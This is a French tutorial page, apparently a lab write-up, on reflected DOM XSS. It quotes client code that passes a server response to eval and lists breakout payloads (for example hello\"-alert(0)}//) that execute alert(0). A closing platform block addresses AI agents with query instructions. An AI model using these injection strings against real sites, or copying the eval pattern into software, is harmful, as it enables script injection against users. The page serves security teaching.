> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/reflected-dom-xss.md).

# XSS DOM réfléchi

### XSS DOM réfléchi

Ce laboratoire montre une vulnérabilité DOM subtile. Les données envoyées dans la requête sont renvoyées par le serveur, puis un script côté client les traite de manière dangereuse et les écrit dans un `eval`, ouvrant la voie à l’exécution de code.

Le client effectue une requête AJAX vers `path + window.location.search`. Lorsque la réponse arrive, le code est :

```javascript
function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();

    function displaySearchResults(searchResultsObj) {
        var blogHeader = document.getElementsByClassName("blog-header")[0];
        var blogList = document.getElementsByClassName("blog-list")[0];
        var searchTerm = searchResultsObj.searchTerm
        var searchResults = searchResultsObj.results

        var h1 = document.createElement("h1");
        h1.innerText = searchResults.length + " résultats de recherche pour '" + searchTerm + "'";
        blogHeader.appendChild(h1);
        var hr = document.createElement("hr");
        blogHeader.appendChild(hr)

        for (var i = 0; i < searchResults.length; ++i)
        {
            var searchResult = searchResults[i];
            if (searchResult.id) {
                var blogLink = document.createElement("a");
                blogLink.setAttribute("href", "/post?postId=" + searchResult.id);

                if (searchResult.headerImage) {
                    var headerImage = document.createElement("img");
                    headerImage.setAttribute("src", "/image/" + searchResult.headerImage);
                    blogLink.appendChild(headerImage);
                }

                blogList.appendChild(blogLink);
            }

            blogList.innerHTML += "<br/>";

            if (searchResult.title) {
                var title = document.createElement("h2");
                title.innerText = searchResult.title;
                blogList.appendChild(title);
            }

            if (searchResult.summary) {
                var summary = document.createElement("p");
                summary.innerText = searchResult.summary;
                blogList.appendChild(summary);
            }

            if (searchResult.id) {
                var viewPostButton = document.createElement("a");
                viewPostButton.setAttribute("class", "button is-small");
                viewPostButton.setAttribute("href", "/post?postId=" + searchResult.id);
                viewPostButton.innerText = "Voir l’article";
            }
        }

        var linkback = document.createElement("div");
        linkback.setAttribute("class", "is-linkback");
        var backToBlog = document.createElement("a");
        backToBlog.setAttribute("href", "/");
        backToBlog.innerText = "Retour au blog";
        linkback.appendChild(backToBlog);
        blogList.appendChild(linkback);
    }
}
```

Le `displaySearchResults` la fonction s’exécute `searchResultsObj` et crée dynamiquement des éléments (h1, h2, p, a, img, etc.), en assignant `innerText` pour les titres et les résumés, mais important `searchResultsObj` via `eval`.

```javascript
if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
```

<figure><img src="/files/8ccd06a51199b9a43b79bda7bf390b116c0c7510" alt=""><figcaption></figcaption></figure>

L’utilisation de `eval('var searchResultsObj = ' + this.responseText)` est critique : si la réponse contrôlée contient du texte spécialement formé, il est possible de casser la syntaxe attendue et d’injecter le code JavaScript qui sera exécuté lors de l’évaluation.

* Renvoyez (ou interceptez) `responseText` contenant la valeur d’attaque pour `searchTerm` ou un champ similaire.
* Supprimez de la chaîne/du littéral JSON attendu en fermant la structure et en ajoutant du code exécutable, puis neutralisez le reste avec un commentaire (`//`) pour éviter les erreurs de syntaxe ultérieures.

<figure><img src="/files/0809fa38f08188b812fedccd68794f66ca4357b4" alt=""><figcaption></figcaption></figure>

#### Exemples de charges utiles testées

(Ces chaînes sont destinées à être placées dans la partie de la réponse réfléchie — elles montrent comment sortir de la structure et exécuter `alert(0)`)

```javascript
hello/"jordan

hello/"jordan}//
```

<figure><img src="/files/84ac279a0a1b7bcf5e63c90da0565471d515345e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/95990f076e992fc5ee486fdabdd46a8fa51d7d57" alt=""><figcaption></figcaption></figure>

En injectant l’une des chaînes ci-dessus dans la partie réfléchie de la réponse, le `eval` interprétera la construction modifiée et exécutera `alert(0)`, démontrant l’exécution de code côté client via un XSS DOM réfléchi.

```javascript
hello/"*alert(0)}//
```

```javascript
hello/"+alert(0)}//
```

```javascript
hello/"-alert(0)}//
```

<figure><img src="/files/50d217043c68485cf33abe9fe57ec30345764295" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/xss/reflected-dom-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
